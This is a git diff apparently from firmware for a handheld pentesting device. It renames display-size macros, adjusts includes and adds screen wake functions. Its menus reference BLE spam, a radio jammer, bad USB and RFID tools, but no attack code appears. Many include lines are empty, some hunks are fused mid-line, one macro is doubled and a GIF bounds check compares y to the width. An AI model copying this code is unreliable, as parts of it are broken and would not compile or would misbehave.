-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/src/core/config.cpp b/src/core/config.cpp
index b02ce6eb..44821f86 100644
--- a/src/core/config.cpp
+++ b/src/core/config.cpp
@@ -243,7 +243,7 @@ void BruceConfig::validateDimmerValue() {
}
-void BruceConfig::setBright(int value) {
+void BruceConfig::setBright(uint8_t value) {
bright = value;
validateBrightValue();
saveFile();
diff --git a/src/core/config.h b/src/core/config.h
index 97eb4abd..203a38fa 100644
--- a/src/core/config.h
+++ b/src/core/config.h
@@ -1,7 +1,7 @@
#ifndef __BRUCE_CONFIG_H__
#define __BRUCE_CONFIG_H__
-// #include "globals.h"
+// #include
#include
#include
#include
@@ -102,7 +102,7 @@ class BruceConfig {
void validateRotationValue();
void setDimmer(int value);
void validateDimmerValue();
- void setBright(int value);
+ void setBright(uint8_t value);
void validateBrightValue();
void setTmz(int value);
void validateTmzValue();
diff --git a/src/core/connect.h b/src/core/connect.h
index e396e05a..ec0553ad 100644
--- a/src/core/connect.h
+++ b/src/core/connect.h
@@ -11,7 +11,7 @@
#define __DEVICE_CONNECTION_H__
#include
-#include "core/globals.h"
+#include
#define PAGE_BYTES 150
diff --git a/src/core/display.cpp b/src/core/display.cpp
index c795512b..a67ca984 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -1,11 +1,12 @@
#include "display.h"
-#include "mykeyboard.h"
+#include "utils.h"
+#include "mykeyboard.h"
#include "wg.h" //for isConnectedWireguard to print wireguard lock
#include "settings.h" //for timeStr
#include "modules/others/webInterface.h" // for server
#include
-#define MAX_MENU_SIZE (int)(HEIGHT/25)
+#define MAX_MENU_SIZE (int)(tftHeight/25)
/***************************************************************************************
** Function name: displayScrollingText
@@ -39,24 +40,24 @@ void displayScrollingText(const String& text, Opt_Coord& coord) {
** Description: Draw touch screen footer
***************************************************************************************/
void TouchFooter(uint16_t color) {
- tft.drawRoundRect(5,HEIGHT+2,WIDTH-10,43,5,color);
+ tft.drawRoundRect(5,tftHeight+2,tftWidth-10,43,5,color);
tft.setTextColor(color);
tft.setTextSize(FM);
- tft.drawCentreString("PREV",WIDTH/6,HEIGHT+4,1);
- tft.drawCentreString("SEL",WIDTH/2,HEIGHT+4,1);
- tft.drawCentreString("NEXT",5*WIDTH/6,HEIGHT+4,1);
+ tft.drawCentreString("PREV",tftWidth/6,tftHeight+4,1);
+ tft.drawCentreString("SEL",tftWidth/2,tftHeight+4,1);
+ tft.drawCentreString("NEXT",5*tftWidth/6,tftHeight+4,1);
}
/***************************************************************************************
** Function name: TouchFooter
** Description: Draw touch screen footer
***************************************************************************************/
void MegaFooter(uint16_t color) {
- tft.drawRoundRect(5,HEIGHT+2,WIDTH-10,43,5,color);
+ tft.drawRoundRect(5,tftHeight+2,tftWidth-10,43,5,color);
tft.setTextColor(color);
tft.setTextSize(FM);
- tft.drawCentreString("Exit",WIDTH/6,HEIGHT+4,1);
- tft.drawCentreString("UP",WIDTH/2,HEIGHT+4,1);
- tft.drawCentreString("DOWN",5*WIDTH/6,HEIGHT+4,1);
+ tft.drawCentreString("Exit",tftWidth/6,tftHeight+4,1);
+ tft.drawCentreString("UP",tftWidth/2,tftHeight+4,1);
+ tft.drawCentreString("DOWN",5*tftWidth/6,tftHeight+4,1);
}
/***************************************************************************************
@@ -82,6 +83,27 @@ void setTftDisplay(int x, int y, uint16_t fc, int size, uint16_t bg) {
tft.setTextColor(fc,bg);
}
+void turnOffDisplay() {
+ setBrightness(0,false);
+}
+
+bool wakeUpScreen(){
+ previousMillis = millis();
+ if(isScreenOff){
+ isScreenOff = false;
+ dimmer = false;
+ getBrightness();
+ delay(200);
+ return true;
+ }else if(dimmer){
+ dimmer = false;
+ getBrightness();
+ delay(200);
+ return true;
+ }
+ return false;
+}
+
/***************************************************************************************
** Function name: displayRedStripe
** Description: Display Red Stripe with information
@@ -92,18 +114,18 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) {
int size;
if(fgcolor==bgcolor && fgcolor==TFT_WHITE) fgcolor=TFT_BLACK;
- if(text.length()*LW*FM<(WIDTH-2*FM*LW)) size = FM;
+ if(text.length()*LW*FM<(tftWidth-2*FM*LW)) size = FM;
else size = FP;
- tft.fillSmoothRoundRect(10,HEIGHT/2-13,WIDTH-20,26,7,bgcolor);
- tft.fillSmoothRoundRect(10,HEIGHT/2-13,WIDTH-20,26,7,bgcolor);
+ tft.fillSmoothRoundRect(10,tftHeight/2-13,tftWidth-20,26,7,bgcolor);
+ tft.fillSmoothRoundRect(10,tftHeight/2-13,tftWidth-20,26,7,bgcolor);
tft.setTextColor(fgcolor,bgcolor);
if(size==FM) {
tft.setTextSize(FM);
- tft.setCursor(WIDTH/2 - FM*3*text.length(), HEIGHT/2-8);
+ tft.setCursor(tftWidth/2 - FM*3*text.length(), tftHeight/2-8);
}
else {
tft.setTextSize(FP);
- tft.setCursor(WIDTH/2 - FP*3*text.length(), HEIGHT/2-8);
+ tft.setCursor(tftWidth/2 - FP*3*text.length(), tftHeight/2-8);
}
tft.println(text);
}
@@ -235,14 +257,14 @@ void padprint(double n, int digits, int16_t padx) {
void padprintln(const String &s, int16_t padx) {
if (s.isEmpty()) {
- tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY());
- tft.println(s);
+ tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY());
+ tft.println(s);
return;
}
String buff;
size_t start = 0;
- int _maxCharsInLine = (WIDTH - (padx+1) * BORDER_PAD_X) / (FP*LW);
+ int _maxCharsInLine = (tftWidth - (padx+1) * BORDER_PAD_X) / (FP*LW);
// automatically split into multiple lines
while( !(buff = s.substring(start, start + _maxCharsInLine)).isEmpty() ){
@@ -253,14 +275,14 @@ void padprintln(const String &s, int16_t padx) {
}
void padprintln(const char str[], int16_t padx) {
if (str == "") {
- tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY());
- tft.println(str);
+ tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY());
+ tft.println(str);
return;
}
String buff;
size_t start = 0;
- int _maxCharsInLine = (WIDTH - (padx+1) * BORDER_PAD_X) / (FP*LW);
+ int _maxCharsInLine = (tftWidth - (padx+1) * BORDER_PAD_X) / (FP*LW);
// automatically split into multiple lines
while( !(buff = String(str).substring(start, start + _maxCharsInLine)).isEmpty() ){
@@ -318,7 +340,7 @@ int loopOptions(std::vector& options, bool bright, bool submenu, String
if(options.size()>MAX_MENU_SIZE) {
menuSize = MAX_MENU_SIZE;
}
- if(index>0) tft.fillRoundRect(WIDTH*0.10,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.8,(FM*8+4)*menuSize+10,5,bruceConfig.bgColor);
+ if(index>0) tft.fillRoundRect(tftWidth*0.10,tftHeight/2-menuSize*(FM*8+4)/2 -5,tftWidth*0.8,(FM*8+4)*menuSize+10,5,bruceConfig.bgColor);
if(index>=options.size()) index=0;
while(1){
if (redraw) {
@@ -344,7 +366,7 @@ int loopOptions(std::vector & options, bool bright, bool submenu, String
redraw = true;
#else
long _tmp=millis();
- while(checkPrevPress()) { if(millis()-_tmp>200) tft.drawArc(WIDTH/2, HEIGHT/2, 25,15,0,360*(millis()-(_tmp+200))/500,getColorVariation(bruceConfig.priColor),bruceConfig.bgColor); }
+ while(checkPrevPress()) { if(millis()-_tmp>200) tft.drawArc(tftWidth/2, tftHeight/2, 25,15,0,360*(millis()-(_tmp+200))/500,getColorVariation(bruceConfig.priColor),bruceConfig.bgColor); }
if(millis()-_tmp>700) { // longpress detected to exit
break;
}
@@ -399,11 +421,11 @@ int loopOptions(std::vector & options, bool bright, bool submenu, String
void progressHandler(int progress, size_t total, String message) {
int barWidth = map(progress, 0, total, 0, 200);
if(barWidth <3) {
- tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, bruceConfig.bgColor);
- tft.drawRect(18, HEIGHT - 47, 204, 17, bruceConfig.priColor);
+ tft.fillRect(6, 27, tftWidth-12, tftHeight-33, bruceConfig.bgColor);
+ tft.drawRect(18, tftHeight - 47, 204, 17, bruceConfig.priColor);
displayRedStripe(message, TFT_WHITE, bruceConfig.priColor);
}
- tft.fillRect(20, HEIGHT - 45, barWidth, 13, bruceConfig.priColor);
+ tft.fillRect(20, tftHeight - 45, barWidth, 13, bruceConfig.priColor);
}
/***************************************************************************************
@@ -417,16 +439,16 @@ Opt_Coord drawOptions(int index,std::vector & options, uint16_t fgcolor,
menuSize = MAX_MENU_SIZE;
}
- if(index==0) tft.fillRoundRect(WIDTH*0.10,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.8,(FM*8+4)*menuSize+10,5,bgcolor);
+ if(index==0) tft.fillRoundRect(tftWidth*0.10,tftHeight/2-menuSize*(FM*8+4)/2 -5,tftWidth*0.8,(FM*8+4)*menuSize+10,5,bgcolor);
tft.setTextColor(fgcolor,bgcolor);
tft.setTextSize(FM);
- tft.setCursor(WIDTH*0.10+5,HEIGHT/2-menuSize*(FM*8+4)/2);
+ tft.setCursor(tftWidth*0.10+5,tftHeight/2-menuSize*(FM*8+4)/2);
int i=0;
int init = 0;
int cont = 1;
- if(index==0) tft.fillRoundRect(WIDTH*0.10,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.8,(FM*8+4)*menuSize+10,5,bgcolor);
+ if(index==0) tft.fillRoundRect(tftWidth*0.10,tftHeight/2-menuSize*(FM*8+4)/2 -5,tftWidth*0.8,(FM*8+4)*menuSize+10,5,bgcolor);
menuSize = options.size();
if(index>=MAX_MENU_SIZE) init=index-MAX_MENU_SIZE+1;
for(i=0;i& options, uint16_t fgcolor,
else tft.setTextColor(fgcolor,bgcolor);
String text="";
- if(i==index) {
+ if(i==index) {
text+=">";
- coord.x=WIDTH*0.10+5+FM*LW;
+ coord.x=tftWidth*0.10+5+FM*LW;
coord.y=tft.getCursorY()+4;
- coord.size=(WIDTH*0.8 - 10)/(LW*FM) - 1;
+ coord.size=(tftWidth*0.8 - 10)/(LW*FM) - 1;
coord.fgcolor=fgcolor;
coord.bgcolor=bgcolor;
}
else text +=" ";
text += String(options[i].label.c_str()) + " ";
- tft.setCursor(WIDTH*0.10+5,tft.getCursorY()+4);
- tft.println(text.substring(0,(WIDTH*0.8 - 10)/(LW*FM) - 1));
+ tft.setCursor(tftWidth*0.10+5,tft.getCursorY()+4);
+ tft.println(text.substring(0,(tftWidth*0.8 - 10)/(LW*FM) - 1));
cont++;
}
if(cont>MAX_MENU_SIZE) goto Exit;
}
Exit:
if(options.size()>MAX_MENU_SIZE) menuSize = MAX_MENU_SIZE;
- tft.drawRoundRect(WIDTH*0.10,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.8,(FM*8+4)*menuSize+10,5,fgcolor);
+ tft.drawRoundRect(tftWidth*0.10,tftHeight/2-menuSize*(FM*8+4)/2 -5,tftWidth*0.8,(FM*8+4)*menuSize+10,5,fgcolor);
#if defined(HAS_TOUCH)
TouchFooter();
#endif
@@ -468,8 +490,8 @@ void drawSubmenu(int index,std::vector& options, String system) {
int menuSize = options.size();
if(index==0) drawMainBorder();
tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor);
- tft.fillRect(6,26,WIDTH-12,20,bruceConfig.bgColor);
- tft.fillRoundRect(6,26,WIDTH-12,HEIGHT-32,5,bruceConfig.bgColor);
+ tft.fillRect(6,26,tftWidth-12,20,bruceConfig.bgColor);
+ tft.fillRoundRect(6,26,tftWidth-12,tftHeight-32,5,bruceConfig.bgColor);
tft.setTextSize(FP);
tft.setCursor(12,30);
tft.setTextColor(bruceConfig.priColor);
@@ -478,41 +500,41 @@ void drawSubmenu(int index,std::vector & options, String system) {
if (index-1>=0) {
tft.setTextSize(FM);
tft.setTextColor(bruceConfig.secColor);
- tft.drawCentreString(options[index-1].label.c_str(),WIDTH/2, 42+(HEIGHT-134)/2,SMOOTH_FONT);
+ tft.drawCentreString(options[index-1].label.c_str(),tftWidth/2, 42+(tftHeight-134)/2,SMOOTH_FONT);
} else {
tft.setTextSize(FM);
tft.setTextColor(bruceConfig.secColor);
- tft.drawCentreString(options[menuSize-1].label.c_str(),WIDTH/2, 42+(HEIGHT-134)/2,SMOOTH_FONT);
+ tft.drawCentreString(options[menuSize-1].label.c_str(),tftWidth/2, 42+(tftHeight-134)/2,SMOOTH_FONT);
}
- int selectedTextSize = options[index].label.length() <= WIDTH/(LW*FG)-1 ? FG : FM;
+ int selectedTextSize = options[index].label.length() <= tftWidth/(LW*FG)-1 ? FG : FM;
tft.setTextSize(selectedTextSize);
tft.setTextColor(bruceConfig.priColor);
tft.drawCentreString(
options[index].label.c_str(),
- WIDTH/2,
- 67+(HEIGHT-134)/2+((selectedTextSize-1)%2)*LH/2,
+ tftWidth/2,
+ 67+(tftHeight-134)/2+((selectedTextSize-1)%2)*LH/2,
SMOOTH_FONT
);
if (index+1 fileList) {
Opt_Coord coord;
if(index==0){
@@ -667,7 +689,7 @@ Opt_Coord listFiles(int index, std::vector fileList) {
start=index-MAX_ITEMS+1;
if(start<0) start=0;
}
- int nchars = (WIDTH-20)/(6*tft.textsize);
+ int nchars = (tftWidth-20)/(6*tft.textsize);
String txt=">";
while(i=start) {
@@ -676,7 +698,7 @@ Opt_Coord listFiles(int index, std::vector fileList) {
else if(fileList[i].operation==true) tft.setTextColor(ALCOLOR, bruceConfig.bgColor);
else { tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor); }
- if (index==i) {
+ if (index==i) {
txt=">";
coord.x=10+FM*LW;
coord.y=tft.getCursorY();
@@ -691,8 +713,8 @@ Opt_Coord listFiles(int index, std::vector fileList) {
i++;
if (i==(start+MAX_ITEMS) || i==arraySize) break;
}
- tft.drawRoundRect(5, 5, WIDTH - 10, HEIGHT - 10, 5, bruceConfig.priColor);
- tft.drawRoundRect(5, 5, WIDTH - 10, HEIGHT - 10, 5, bruceConfig.priColor);
+ tft.drawRoundRect(5, 5, tftWidth - 10, tftHeight - 10, 5, bruceConfig.priColor);
+ tft.drawRoundRect(5, 5, tftWidth - 10, tftHeight - 10, 5, bruceConfig.priColor);
return coord;
}
@@ -700,10 +722,10 @@ Opt_Coord listFiles(int index, std::vector fileList) {
// desenhos do menu principal, sprite "draw" com 80x80 pixels
void drawWifiSmall(int x, int y) {
- tft.fillRect(x,y,17,17,bruceConfig.bgColor);
- tft.fillCircle(9+x,14+y,2,bruceConfig.priColor);
- tft.drawArc(9+x,14+y,5,7,130,230,bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawArc(9+x,14+y,11,13,130,230,bruceConfig.priColor, bruceConfig.bgColor);
+ tft.fillRect(x,y,16,16,bruceConfig.bgColor);
+ tft.fillCircle(9+x,14+y,1,bruceConfig.priColor);
+ tft.drawArc(9+x,14+y,4,6,130,230,bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawArc(9+x,14+y,10,12,130,230,bruceConfig.priColor, bruceConfig.bgColor);
}
void drawBLESmall(int x, int y) {
@@ -891,9 +913,9 @@ bool showJpeg(FS fs, String filename, int x, int y, bool center) {
}
if (decoded) {
- if(center) {
- x=(WIDTH-JpegDec.width)/2;
- y=(HEIGHT-JpegDec.height)/2;
+ if(center) {
+ x=(tftWidth-JpegDec.width)/2;
+ y=(tftHeight-JpegDec.height)/2;
}
jpegRender(x, y);
}
@@ -931,11 +953,11 @@ void GIFDraw(GIFDRAW *pDraw)
// Display bounds check and cropping
iWidth = pDraw->iWidth;
- if (iWidth + pDraw->iX > WIDTH)
- iWidth = WIDTH - pDraw->iX;
+ if (iWidth + pDraw->iX > tftWidth)
+ iWidth = tftWidth - pDraw->iX;
usPalette = pDraw->pPalette;
y = pDraw->iY + pDraw->y; // current line
- if (y >= HEIGHT || pDraw->iX >= WIDTH || iWidth < 1)
+ if (y >= tftWidth || pDraw->iX >= tftWidth || iWidth < 1)
return;
// Old image disposal
@@ -1092,7 +1114,7 @@ int32_t GIFSeekFile(GIFFILE *pFile, int32_t iPosition)
bool showGIF(FS fs, String filename, int x, int y) {
#if defined(CONFIG_IDF_TARGET_ESP32S3)
-//#if defined(CARDPUTER)
+//#if defined(ARDUINO_M5STACK_CARDPUTER)
if(!fs.exists(filename))
return false;
static AnimatedGIF gif; // MEMO: triggers stack canary if not static
diff --git a/src/core/display.h b/src/core/display.h
index 6d94e82a..17978b30 100644
--- a/src/core/display.h
+++ b/src/core/display.h
@@ -1,9 +1,7 @@
-#pragma once
-// display.h
-#ifndef DISPLAY_H
-#define DISPLAY_H
+#ifndef __DISPLAY_H__
+#define __DISPLAY_H__
-#include "globals.h"
+#include
#include "sd_functions.h" // to catch FileList Struct
#include
#include
@@ -30,6 +28,9 @@ uint16_t getColorVariation(uint16_t color, int delta = 10, int direction = 0);
void resetTftDisplay(int x = 0, int y = 0, uint16_t fc = bruceConfig.priColor, int size = FM, uint16_t bg = bruceConfig.bgColor, uint16_t screen = bruceConfig.bgColor);
void setTftDisplay(int x = 0, int y = 0, uint16_t fc = tft.textcolor, int size = tft.textsize, uint16_t bg = tft.textbgcolor);
+void turnOffDisplay();
+bool wakeUpScreen();
+
void displayRedStripe(String text, uint16_t fgcolor = TFT_WHITE, uint16_t bgcolor = TFT_RED);
void displayError(String txt, bool waitKeyPress = false); // Red Stripe
diff --git a/src/core/globals.cpp b/src/core/globals.cpp
deleted file mode 100644
index 262c3621..00000000
--- a/src/core/globals.cpp
+++ /dev/null
@@ -1,31 +0,0 @@
-#include "globals.h"
-
-/*********************************************************************
-** Function: backToMenu
-** sets the global var to be be used in the options second parameter
-** and returnToMenu will be user do handle the breaks of all loops
-
-when using loopfunctions with an option to "Back to Menu", use:
-
-add this option:
- options.push_back({"Main Menu", [=]() { backToMenu(); }});
-
-while(1) {
- if(returnToMenu) break; // stop this loop and return to the previous loop
-
- ...
- loopOptions(options);
- ...
-}
-*/
-
-
-void backToMenu() {
- returnToMenu=true;
-}
-
-void updateTimeStr(struct tm timeInfo) {
- // Atualiza timeStr com a hora e minuto
- snprintf(timeStr, sizeof(timeStr), "%02d:%02d:%02d", timeInfo.tm_hour, timeInfo.tm_min, timeInfo.tm_sec);
-}
-
diff --git a/src/core/i2c_finder.h b/src/core/i2c_finder.h
index fa40ef4f..29eabc99 100644
--- a/src/core/i2c_finder.h
+++ b/src/core/i2c_finder.h
@@ -1,4 +1,4 @@
-#include "globals.h"
+#include
void find_i2c_addresses();
uint8_t find_first_i2c_address();
diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index b163bc67..bc59c50b 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -1,5 +1,5 @@
#include "main_menu.h"
-#include "globals.h"
+#include
#include "display.h"
@@ -17,7 +17,7 @@ MainMenu::MainMenu() {
&nrf24Menu,
#endif
#if !defined(LITE_VERSION)
- #if !defined(CORE) && !defined(CORE2)
+ #if !defined(ARDUINO_M5STACK_CORE) && !defined(ARDUINO_M5STACK_CORE2)
&scriptsMenu,
#endif
#endif
diff --git a/src/core/main_menu.h b/src/core/main_menu.h
index 292a24b9..699d8e86 100644
--- a/src/core/main_menu.h
+++ b/src/core/main_menu.h
@@ -1,7 +1,7 @@
#ifndef __MAIN_MENU_H__
#define __MAIN_MENU_H__
-#include "menu_items/MenuItemInterface.h"
+#include
#include "menu_items/FileMenu.h"
#include "menu_items/BleMenu.h"
diff --git a/src/core/menu_items/BleMenu.cpp b/src/core/menu_items/BleMenu.cpp
index bdf2d574..7499af27 100644
--- a/src/core/menu_items/BleMenu.cpp
+++ b/src/core/menu_items/BleMenu.cpp
@@ -1,5 +1,6 @@
#include "BleMenu.h"
-#include "../globals.h"
+#include
+#include "core/utils.h"
#include "core/display.h"
#include "modules/ble/ble_spam.h"
#include "modules/ble/ble_common.h"
diff --git a/src/core/menu_items/BleMenu.h b/src/core/menu_items/BleMenu.h
index fca6b04a..070886de 100644
--- a/src/core/menu_items/BleMenu.h
+++ b/src/core/menu_items/BleMenu.h
@@ -1,7 +1,7 @@
#ifndef __BLE_MENU_H__
#define __BLE_MENU_H__
-#include "MenuItemInterface.h"
+#include
class BleMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/ClockMenu.h b/src/core/menu_items/ClockMenu.h
index 7f61b54a..dae26de3 100644
--- a/src/core/menu_items/ClockMenu.h
+++ b/src/core/menu_items/ClockMenu.h
@@ -1,7 +1,7 @@
#ifndef __CLOCK_MENU_H__
#define __CLOCK_MENU_H__
-#include "MenuItemInterface.h"
+#include
class ClockMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/ConfigMenu.cpp b/src/core/menu_items/ConfigMenu.cpp
index c4895438..3f7b6147 100644
--- a/src/core/menu_items/ConfigMenu.cpp
+++ b/src/core/menu_items/ConfigMenu.cpp
@@ -1,9 +1,9 @@
#include "ConfigMenu.h"
+#include "core/utils.h"
#include "core/display.h"
#include "core/settings.h"
#include "core/i2c_finder.h"
#include "core/wifi_common.h"
-#include "core/utils.h"
void ConfigMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/ConfigMenu.h b/src/core/menu_items/ConfigMenu.h
index 9d26572d..6f8b59c0 100644
--- a/src/core/menu_items/ConfigMenu.h
+++ b/src/core/menu_items/ConfigMenu.h
@@ -1,7 +1,7 @@
#ifndef __CONFIG_MENU_H__
#define __CONFIG_MENU_H__
-#include "MenuItemInterface.h"
+#include
class ConfigMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/ConnectMenu.cpp b/src/core/menu_items/ConnectMenu.cpp
index 4c2aac89..a69b711a 100644
--- a/src/core/menu_items/ConnectMenu.cpp
+++ b/src/core/menu_items/ConnectMenu.cpp
@@ -4,6 +4,7 @@
#include "core/settings.h"
#include "core/connect.h"
#include "core/wifi_common.h"
+#include "core/utils.h"
void ConnectMenu::optionsMenu() {
diff --git a/src/core/menu_items/ConnectMenu.h b/src/core/menu_items/ConnectMenu.h
index 4bfdaeac..c60bdb5d 100644
--- a/src/core/menu_items/ConnectMenu.h
+++ b/src/core/menu_items/ConnectMenu.h
@@ -1,7 +1,7 @@
#ifndef __CONNECT_MENU_H__
#define __CONNECT_MENU_H__
-#include "MenuItemInterface.h"
+#include
class ConnectMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/FMMenu.cpp b/src/core/menu_items/FMMenu.cpp
index 933cbb32..c20e73b6 100644
--- a/src/core/menu_items/FMMenu.cpp
+++ b/src/core/menu_items/FMMenu.cpp
@@ -1,6 +1,7 @@
#include "FMMenu.h"
#include "core/display.h"
#include "modules/fm/fm.h"
+#include "core/utils.h"
void FMMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/FMMenu.h b/src/core/menu_items/FMMenu.h
index 98aa2b7d..eb5d54b3 100644
--- a/src/core/menu_items/FMMenu.h
+++ b/src/core/menu_items/FMMenu.h
@@ -1,7 +1,7 @@
#ifndef __FM_MENU_H__
#define __FM_MENU_H__
-#include "MenuItemInterface.h"
+#include
class FMMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/FileMenu.cpp b/src/core/menu_items/FileMenu.cpp
index 253c47be..d97b49d3 100644
--- a/src/core/menu_items/FileMenu.cpp
+++ b/src/core/menu_items/FileMenu.cpp
@@ -2,6 +2,7 @@
#include "core/display.h"
#include "core/sd_functions.h"
#include "modules/others/webInterface.h"
+#include "core/utils.h"
void FileMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/FileMenu.h b/src/core/menu_items/FileMenu.h
index 2890fb2f..0bf42966 100644
--- a/src/core/menu_items/FileMenu.h
+++ b/src/core/menu_items/FileMenu.h
@@ -1,7 +1,7 @@
#ifndef __FILE_MENU_H__
#define __FILE_MENU_H__
-#include "MenuItemInterface.h"
+#include
class FileMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/GpsMenu.cpp b/src/core/menu_items/GpsMenu.cpp
index 74b7dfe3..80b7a2d8 100644
--- a/src/core/menu_items/GpsMenu.cpp
+++ b/src/core/menu_items/GpsMenu.cpp
@@ -4,6 +4,7 @@
#include "core/settings.h"
#include "modules/gps/wardriving.h"
#include "modules/gps/gps_tracker.h"
+#include "core/utils.h"
void GpsMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/GpsMenu.h b/src/core/menu_items/GpsMenu.h
index d714d64d..fa2efc3d 100644
--- a/src/core/menu_items/GpsMenu.h
+++ b/src/core/menu_items/GpsMenu.h
@@ -1,7 +1,7 @@
#ifndef __GPS_MENU_H__
#define __GPS_MENU_H__
-#include "MenuItemInterface.h"
+#include
class GpsMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/IRMenu.cpp b/src/core/menu_items/IRMenu.cpp
index 1a8705d2..4112740c 100644
--- a/src/core/menu_items/IRMenu.cpp
+++ b/src/core/menu_items/IRMenu.cpp
@@ -4,6 +4,7 @@
#include "modules/ir/TV-B-Gone.h"
#include "modules/ir/custom_ir.h"
#include "modules/ir/ir_read.h"
+#include "core/utils.h"
void IRMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/IRMenu.h b/src/core/menu_items/IRMenu.h
index 40e08d38..3de64365 100644
--- a/src/core/menu_items/IRMenu.h
+++ b/src/core/menu_items/IRMenu.h
@@ -1,7 +1,7 @@
#ifndef __IR_MENU_H__
#define __IR_MENU_H__
-#include "MenuItemInterface.h"
+#include
class IRMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/NRF24.cpp b/src/core/menu_items/NRF24.cpp
index 3a28e1b7..db129417 100644
--- a/src/core/menu_items/NRF24.cpp
+++ b/src/core/menu_items/NRF24.cpp
@@ -3,6 +3,7 @@
#include "modules/NRF24/nrf_common.h"
#include "modules/NRF24/nrf_jammer.h"
#include "modules/NRF24/nrf_spectrum.h"
+#include "core/utils.h"
void NRF24Menu::optionsMenu() {
options.clear();
diff --git a/src/core/menu_items/NRF24.h b/src/core/menu_items/NRF24.h
index 36e70195..d9b4ca5c 100644
--- a/src/core/menu_items/NRF24.h
+++ b/src/core/menu_items/NRF24.h
@@ -1,7 +1,7 @@
#ifndef __NRF24_MENU_H__
#define __NRF24_MENU_H__
-#include "MenuItemInterface.h"
+#include
class NRF24Menu : public MenuItemInterface {
diff --git a/src/core/menu_items/OthersMenu.cpp b/src/core/menu_items/OthersMenu.cpp
index b102f1e6..9c7961c3 100644
--- a/src/core/menu_items/OthersMenu.cpp
+++ b/src/core/menu_items/OthersMenu.cpp
@@ -8,6 +8,7 @@
#include "modules/others/mic.h"
#include "modules/bjs_interpreter/interpreter.h"
#include "modules/others/timer.h"
+#include "core/utils.h"
#include "modules/others/bad_usb.h"
#ifdef HAS_RGB_LED
@@ -35,7 +36,7 @@ void OthersMenu::optionsMenu() {
#ifndef LITE_VERSION
{"Openhaystack", [=]() { openhaystack_setup(); }},
#endif
- #if !defined(CORE) && !defined(CORE2)
+ #if !defined(ARDUINO_M5STACK_ARDUINO_M5STACK_CORE) && !defined(ARDUINO_M5STACK_ARDUINO_M5STACK_CORE2)
{"Interpreter", [=]() { run_bjs_script(); }},
#endif
{"Timer", [=]() { Timer(); }},
diff --git a/src/core/menu_items/OthersMenu.h b/src/core/menu_items/OthersMenu.h
index 628f8041..e2c9579c 100644
--- a/src/core/menu_items/OthersMenu.h
+++ b/src/core/menu_items/OthersMenu.h
@@ -1,7 +1,7 @@
#ifndef __OTHERS_MENU_H__
#define __OTHERS_MENU_H__
-#include "MenuItemInterface.h"
+#include
class OthersMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/RFIDMenu.cpp b/src/core/menu_items/RFIDMenu.cpp
index c9e1bd93..279fd020 100644
--- a/src/core/menu_items/RFIDMenu.cpp
+++ b/src/core/menu_items/RFIDMenu.cpp
@@ -6,6 +6,7 @@
#include "modules/rfid/chameleon.h"
#include "modules/rfid/amiibo.h"
#include "modules/rfid/pn532ble.h"
+#include "core/utils.h"
void RFIDMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/RFIDMenu.h b/src/core/menu_items/RFIDMenu.h
index c02c97a7..4a9f0132 100644
--- a/src/core/menu_items/RFIDMenu.h
+++ b/src/core/menu_items/RFIDMenu.h
@@ -1,7 +1,7 @@
#ifndef __RFID_MENU_H__
#define __RFID_MENU_H__
-#include "MenuItemInterface.h"
+#include
class RFIDMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/RFMenu.cpp b/src/core/menu_items/RFMenu.cpp
index 84df6a6c..0b927c9d 100644
--- a/src/core/menu_items/RFMenu.cpp
+++ b/src/core/menu_items/RFMenu.cpp
@@ -2,6 +2,7 @@
#include "core/display.h"
#include "core/settings.h"
#include "modules/rf/rf.h"
+#include "core/utils.h"
void RFMenu::optionsMenu() {
options = {
diff --git a/src/core/menu_items/RFMenu.h b/src/core/menu_items/RFMenu.h
index 56c07187..209c3cbf 100644
--- a/src/core/menu_items/RFMenu.h
+++ b/src/core/menu_items/RFMenu.h
